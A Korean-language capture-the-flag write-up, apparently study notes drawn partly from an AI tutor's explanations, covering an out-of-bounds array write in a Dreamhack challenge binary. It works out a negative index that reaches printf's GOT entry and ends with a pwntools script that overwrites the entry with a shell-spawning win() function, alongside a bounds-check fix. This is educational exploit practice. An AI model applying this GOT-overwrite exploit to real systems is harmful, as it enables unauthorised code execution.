🔹 배열을 인덱싱할 때 범위 검사를 안 함! 🔹 i 값이 초기에는 0이지만, 반복문이 돌면서 buf[i]의 값을 따라감. 🔹 사용자가 i의 값을 조작해서 배열 범위를 벗어난 주소(buf[-1], buf[1000])에도 접근할 수 있음!
즉, i 값을 음수(-1, -2...)나 아주 큰 값(1000, 9999...)으로 조작하면 OOB 취약점이 발생! 🚨
2️⃣ OOB 취약점이 발생하는 코드 흐름
처음 실행될 때:
i = 0 → buf[0] = v3; (정상적으로 저장)
다음 반복문 실행 시:
i = buf[0] (사용자가 입력한 값)
즉, 사용자가 buf[0]에 9999를 넣으면, i = 9999가 됨!
그러면 다음 입력이 buf[9999] = v3;로 저장됨 → OOB 발생! 🚨
음수 인덱스를 입력할 수도 있음
사용자가 buf[0] = -1을 넣으면?
i = -1이 되고, buf[-1]을 덮어쓰게 됨.
메모리 보호가 없으면 GOT, 함수 포인터 등의 중요한 데이터를 덮어쓸 수 있음!
3️⃣ OOB를 악용해서 해킹하는 방법 (Exploit)
💡 이 코드에서는 win() 함수가 존재하므로, OOB를 활용해서 실행 흐름을 바꿀 수 있음!
📌 공격 시나리오
i 값을 음수 또는 매우 큰 값으로 조작
buf[-1] 같은 중요한 메모리 주소를 덮어쓸 수 있음.
printf() 함수의 실행 주소를 찾아서 덮어쓰기
printf()를 실행할 때, win() 주소로 실행되도록 변경!
다음번 printf() 실행 시 win() 함수가 실행됨 → 🚀 해킹 성공!
4️⃣ OOB 방어 방법
이런 취약점을 막기 위해서는 배열의 접근 범위를 검사해야 함! 📌 해결 방법
if (i < 0 || i >= BUF_SIZE) {
printf("Out of bounds access!\n");
exit(1);
}
buf[i] = v3;
✔ 이렇게 범위를 체크하면 OOB 발생을 방지할 수 있음!
🔥 결론
📌 이 코드에서는 buf[i] = v3;에서 i 값을 사용자가 조작할 수 있기 때문에 OOB 발생! 📌 i 값을 음수나 큰 값으로 설정하면 배열 밖의 메모리를 덮어쓸 수 있음 → 해킹 가능! 🚀 📌 이를 이용해 함수 실행 흐름을 조작하면 win() 함수 실행 가능! 😎🔥
WIN() 함수 소스코드다 /bin/sh를 실행하는 백도어 역할을 하는 함수로 보인다!!
win()함수 소스코드 설명
## **💡 `win()` 함수 분석 및 설명**
### **📌 코드 분석**
```c
unsigned __int64 win()
{
char *argv[3]; // [rsp+0h] [rbp-20h] BYREF
unsigned __int64 v2; // [rsp+18h] [rbp-8h]
v2 = __readfsqword(0x28u); // 스택 카나리 값 저장 (보안 체크)
argv[0] = "/bin/sh"; // 첫 번째 인자: 실행할 프로그램 (쉘)
argv[1] = 0LL; // 두 번째 인자: NULL (인자가 없음)
execve("/bin/sh", argv, 0LL); // `/bin/sh` 실행 (쉘을 띄움)
return v2 - __readfsqword(0x28u); // 스택 카나리 체크 후 반환
}
```
---
## **1️⃣ `win()` 함수가 하는 일**
이 함수는 **쉘(`/bin/sh`)을 실행하는 코드**입니다.
즉, **이 함수가 실행되면 공격자가 시스템에 접근할 수 있게 됩니다!** 🚨
---
## **2️⃣ 코드 동작 원리**
1. **스택 카나리 저장**
```c
v2 = __readfsqword(0x28u);
```
- `__readfsqword(0x28u)`는 **FS 레지스터의 특정 위치에서 값을 읽음** (Canary 보호 기법)
- 보안 체크를 위해 **현재 스택의 Canary 값을 저장**함.
2. **쉘 실행을 위한 명령어 설정**
```c
argv[0] = "/bin/sh";
argv[1] = 0LL;
```
- `argv[0]`에 **실행할 프로그램 경로(`/bin/sh`)**를 설정.
- `argv[1] = NULL` → 실행 인자 없음.
3. **execve()를 이용해 쉘 실행**
```c
execve("/bin/sh", argv, 0LL);
```
- `execve()`는 현재 프로세스를 **새로운 프로세스로 교체**하는 시스템 호출.
- **즉, 현재 실행 중인 프로그램을 `/bin/sh`로 바꿔버림!**
- 공격자가 **쉘을 직접 조작할 수 있는 환경을 제공함!** 😈🔥
4. **스택 카나리 체크**
```c
return v2 - __readfsqword(0x28u);
```
- 실행이 정상적으로 끝난다면, **스택 카나리 값이 변조되었는지 검사**.
- Canary 값이 변경되었으면 **프로그램이 크래시(오류) 발생!**
---
## **3️⃣ 이 함수가 존재하면 왜 위험한가?**
📌 **이 함수가 실행되면 공격자는 `/bin/sh` 쉘을 실행해서 시스템 명령어를 입력할 수 있음!**
📌 **즉, 공격자가 `win()` 함수를 실행할 수만 있다면, 시스템을 해킹할 수 있음!**
✅ **공격 목표:**
- OOB(Out of Bound) 취약점을 이용해 프로그램의 실행 흐름을 **`win()` 함수로 변경**.
- 그러면 프로그램이 `win()`을 실행하면서 쉘을 띄우게 됨.
- 공격자는 쉘에서 **임의의 명령어를 실행하여 시스템을 제어 가능!** 😈🔥
---
## **4️⃣ 해킹 과정 (Exploit)**
1️⃣ **OOB 취약점을 이용해서 특정 메모리 주소를 덮어쓰기**
2️⃣ **GOT(전역 오프셋 테이블) 또는 `printf()` 등의 함수 포인터를 `win()` 주소로 변경**
3️⃣ **프로그램이 `printf()` 실행 시, `win()`을 실행하도록 유도**
4️⃣ **`win()` 실행 후 `/bin/sh`가 열리면 해킹 성공!** 🎉
---
## **🔥 결론**
- `win()` 함수는 **`/bin/sh`를 실행하는 "백도어" 역할을 하는 함수**!
- OOB 취약점을 이용해서 **프로그램 실행 흐름을 `win()`으로 바꾸면 해킹 가능!**
- 즉, 이 문제는 **"win() 실행 = 해킹 성공"**이므로, 실행 흐름을 조작하는 것이 목표 🚀😎
buf의 주소가 보인다 0x404080printf()의 주소는 0x404008
OOB 취약점을 이용해
buf에 잘못된 영역(oob) 위치에 win()주소를 넣는데, 사실
printf()함수에 win()함수 주소를 넣어 printf()실행할때 실제로는 win이 실행하도록 조작하면 짜자잔 플래그가 나오겠죠?
예를들어
buf 엘베가 10층까지있는데, 13층을 눌러서, 거기 13층에 win함수 주소를 넣는거고, 그 win함수 주소가 사실은 printf 함수 주소를 실제로 넣는다는 얘기
네, 질문이 아주 날카롭네요! 🚀 단순히 "buf[13]에 win()의 주소를 바로 넣으면 되는 거 아니야?" 라고 생각할 수 있지만, 보통 그렇게 하면 제대로 원하는 주소를 덮어쓸 수 없는 경우가 많습니다!
이제 왜 주소 차이를 계산하는지를 설명해볼게요.
📌 1️⃣ "buf[13]에 win() 주소를 바로 넣으면 안 되나?"
💡 일반적인 메모리 구조
buf는 배열이므로, 특정한 규칙에 따라 메모리에 저장됨.
printf()의 GOT 테이블 주소는 메모리 어딘가에 따로 존재함.
buf[13]이 정확히 printf()의 GOT 주소 위치에 대응된다고 보장할 수 없음.
📌 즉, "13층에 버튼을 누른다고 꼭 내가 원하는 printf() 주소를 덮어쓰는 게 아닐 수도 있음!" 🚨 📌 메모리의 실제 배치를 고려해야 정확한 공격이 가능함!
📌 2️⃣ 메모리 주소 차이를 계산하는 이유
우리가 정확히 printf()의 GOT 주소를 덮어쓰려면, "buf 배열이 시작되는 주소"와 "GOT 테이블의 printf() 주소" 간의 거리(바이트 차이)를 알아야 함!"
🔹 일상적인 비유
엘리베이터 버튼을 누르는 것이 아니라, 직접 수동으로 층 수를 조작하는 상황을 상상해보자!
우리가 13층을 가려고 하지만, 엘리베이터 시스템 내부에서 버튼 위치와 실제 층의 위치가 다를 수도 있음.
따라서 "현재 내 위치(buf 시작 주소)" 와 "13층의 실제 위치(printf의 GOT 주소)" 간의 거리를 계산해서 조작해야 함.
📌 즉, 단순히 "13층에 주소를 넣는다"는 방식보다는, "실제 printf() GOT 주소를 정확히 겨냥해서 조작하는 것"이 더 확실함!
📌 3️⃣ 실제 공격 과정에서의 주소 계산
1️⃣ buf의 시작 주소를 확인 (0x404080 예시) 2️⃣ printf()의 GOT 주소를 확인 (0x404090 예시) 3️⃣ 두 주소의 차이를 계산 (0x404090 - 0x404080 = 16(0x10) 바이트 차이) 4️⃣ 이 차이를 활용해 buf[16/8] 위치에 win()의 주소를 넣음!
📌 4️⃣ 결론
✅ "그냥 13층에 주소를 넣으면 안 되는 이유" → buf[13]이 printf()의 GOT 테이블 주소와 정확히 일치한다는 보장이 없음! 🚨
✅ "주소 차이를 계산하는 이유" → 정확한 GOT 테이블 주소를 찾아서 win() 주소로 덮어쓰기 위해!
✅ "메모리 구조를 이해해야 성공적인 익스플로잇 가능!" → 단순한 직관적 접근보다는 메모리의 실제 배치를 분석해서 조작하는 것이 중요! 🚀🔥
이제 진짜 해킹 개념을 완전히 이해하셨네요! 😎🔥
2. 해설에서는 8개씩 끊어서 넣어야한다는데 왜지?
### **💡 왜 8개씩 끊어서 넣어야 할까? (배열의 크기 단위와 정렬 문제)**
---
## **📌 1️⃣ 프로그램이 데이터를 저장하는 방식 (메모리 정렬)**
컴퓨터가 데이터를 메모리에 저장할 때, **자료형(데이터 타입)**에 따라 저장 크기가 결정됩니다.
💡 **이 코드에서 `buf`는 `__int64` (8바이트 정수, `long long`)로 선언되었을 가능성이 큼!**
즉, `buf[i]`의 단위는 **1바이트가 아니라 8바이트(64비트)** 라는 뜻입니다.
📌 **즉, buf 배열은 "8바이트 간격"으로 정렬되어 있음!**
---
## **📌 2️⃣ 메모리에서 `buf` 배열이 저장되는 방식**
### **🔹 메모리에서 `buf` 배열이 차지하는 공간 예시**
(각 칸은 8바이트 크기)
| 인덱스 (i) | 실제 메모리 주소 |
|------------|----------------|
| `buf[0]` | `0x404080` |
| `buf[1]` | `0x404088` |
| `buf[2]` | `0x404090` |
| `buf[3]` | `0x404098` |
| ... | ... |
| `buf[15]` | `0x404100` |
💡 **배열의 각 요소가 "8바이트 단위"로 증가함!**
💡 **즉, `buf[i]`는 `0x404080 + (i * 8)`의 주소에 저장됨.**
---
## **📌 3️⃣ "120만큼 떨어져 있다"는 의미**
### **❓ `buf`의 시작 주소에서 `printf()`의 GOT까지 거리가 120바이트라면?**
📌 **120바이트를 이동해야 `printf()`의 GOT를 덮어쓸 수 있음!**
---
## **📌 4️⃣ 왜 `idx = -15`를 넣어야 할까?**
💡 **`buf[i]`가 8바이트 단위이므로, 120바이트 차이를 만드려면 몇 개의 `buf` 칸을 이동해야 할까?**
✅ **120바이트 ÷ 8바이트 = 15칸 이동해야 함!**
✅ **즉, `buf[-15]`가 `printf()` GOT를 덮어쓸 위치가 됨!**
📌 **그렇기 때문에 `idx = -15`를 넣어서 정확한 메모리 위치를 조작해야 함!** 🚀
---
## **📌 5️⃣ 결론**
✅ **"왜 8개씩 끊어서 넣어야 하는가?"**
→ `buf` 배열이 **8바이트(`__int64`) 단위로 정렬되어 있기 때문!**
✅ **"120바이트 떨어져 있다고 왜 `-120`이 아니라 `-15`를 넣어야 하는가?"**
→ `buf`의 각 요소는 8바이트 단위로 증가하므로, **120바이트 이동하려면 15칸(-15)을 이동해야 정확한 위치에 도달!**
---
### **💡 핵심 요약**
📌 **배열이 8바이트 단위로 저장됨** → **배열의 인덱스(칸) 기준으로 이동해야 함**
📌 **120바이트 떨어져 있다면, `120 ÷ 8 = 15칸(-15)` 이동해야 정확한 위치를 덮어쓸 수 있음**
📌 **따라서 `idx = -15`를 사용해야 제대로 GOT를 덮어쓸 수 있음!** 🚀🔥
이제 메모리 구조와 주소 계산이 완벽하게 이해되셨을 거예요! 😆🎉
캬 이제 진짜 문제 풀러가보자
from pwn import *
# Dreamhack 서버 설정
host = "host1.dreamhack.games"
port = 21784
# 원격 서버에 연결
p = remote(host, port)
# ELF 로드
elf = ELF('./prob')
# 필요한 주소들
win_addr = elf.symbols['win']
printf_got = elf.got['printf']
# 정확한 offset 사용 (-15)
p.sendlineafter(b"val: ", str(-15)) # OOB 인덱스
p.sendlineafter(b"val: ", str(int(win_addr))) # printf GOT를 win()으로 덮어쓰기
# 쉘 획득
p.interactive()